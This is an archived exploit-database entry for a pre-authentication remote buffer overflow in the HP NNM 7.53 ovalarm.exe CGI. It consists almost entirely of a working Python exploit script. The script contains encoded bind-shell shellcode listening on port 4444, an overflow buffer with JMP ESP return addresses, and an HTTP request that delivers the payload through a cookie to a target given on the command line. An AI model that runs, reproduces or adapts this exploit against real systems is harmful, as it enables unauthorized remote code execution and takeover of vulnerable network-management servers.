HP NNM 7.53 ovalarm.exe Buffer Overflow

2009-12-13T00:00:00
ID PACKETSTORM:83760
Type packetstorm
Reporter Mati Aharoni
Modified 2009-12-13T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# HP NNM 7.53 ovalarm.exe CGI Pre Authentication Remote Buffer Overflow  
# Tested on XP SP3 + NNM Release B.07.50  
# Authors: muts & sinn3r  
# Reference: http://dvlabs.tippingpoint.com/advisory/TPTI-09-12  
# http://www.offensive-security.com/0day/exploit-nnm-ovalarm.py.txt  
import socket, sys  
  
if (len(sys.argv) != 2):  
print "[+] HP NNM 7.53 ovalarm.exe CGI Remote Buffer Overflow"  
print "[+] Usage: %s <Target>" %sys.argv[0]  
sys.exit(0)  
  
#win32_bind - EXITFUNC=thread LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com  
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"  
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"  
"\x4e\x36\x46\x52\x46\x32\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x57"  
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"  
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x48"  
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"  
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x32\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x34"  
"\x4b\x38\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x58"  
"\x49\x48\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c\x41\x43\x4b\x4d"  
"\x46\x56\x4b\x48\x43\x54\x42\x43\x4b\x38\x42\x44\x4e\x50\x4b\x58"  
"\x42\x37\x4e\x51\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x45\x4a\x36"  
"\x50\x58\x50\x44\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46"  
"\x43\x45\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x57\x43\x47"  
"\x44\x53\x4f\x45\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"  
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"  
"\x48\x46\x41\x38\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x30"  
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35"  
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x55\x43\x35\x43\x35\x43\x34"  
"\x43\x45\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x41\x31"  
"\x4e\x55\x48\x56\x43\x55\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"  
"\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31"  
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x42"  
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"  
"\x4a\x46\x45\x4e\x49\x54\x48\x48\x49\x44\x47\x35\x4f\x4f\x48\x4d"  
"\x42\x45\x46\x35\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x36"  
"\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35"  
"\x4f\x4f\x42\x4d\x48\x56\x4c\x36\x46\x46\x48\x36\x4a\x36\x43\x46"  
"\x4d\x56\x49\x38\x45\x4e\x4c\x36\x42\x45\x49\x45\x49\x52\x4e\x4c"  
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"  
"\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x34\x4e\x32"  
"\x43\x49\x4d\x58\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"  
"\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f"  
"\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x35\x41\x55\x41\x45\x4c\x56"  
"\x41\x30\x41\x55\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x46"  
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36"  
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f"  
"\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"  
"\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x43\x45\x4f\x4f\x48\x4d"  
"\x4f\x4f\x42\x4d\x5a")  
  
#JMP ESP: 0x5A10A88B ovw.dll  
# Compensate for varying IP lengths   
buff = ("\x41" * 7292+  
"\x8b\xa8\x10\x5a" +  
"\xeb\x18\x90\x90" +  
"\x8b\xa8\x10\x5a" +  
"\xeb\x11\x90\x90" +  
"\x8b\xa8\x10\x5a" +  
"\xeb\x08\x90\x90" +  
"\x8b\xa8\x10\x5a" +  
"\x90\x90\x90\x90" +  
"\x90\x90\x90\x90" +   
shellcode +  
"\xCC" * (1672-len(shellcode))  
)  
  
buffer = ("GET /OvCgi/ovalarm.exe HTTP/1.1\r\n"  
"Host: 192.168.3.111\r\n"  
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5\r\n"  
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"  
"Accept-Language: en-us\r\n"  
"Accept-Encoding: gzip,deflate\r\n"  
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"  
"Cookie: OvAcceptLang=%s; ; OVABverbose=POST\r\n"  
"Cache-Control: max-age=0\r\n"  
"\r\n\r\n") % buff  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1], 80))  
print "[+] Sending evil buffer to NNMz"  
s.send(buffer)  
s.close()  
print "[+] Done!"  
  
`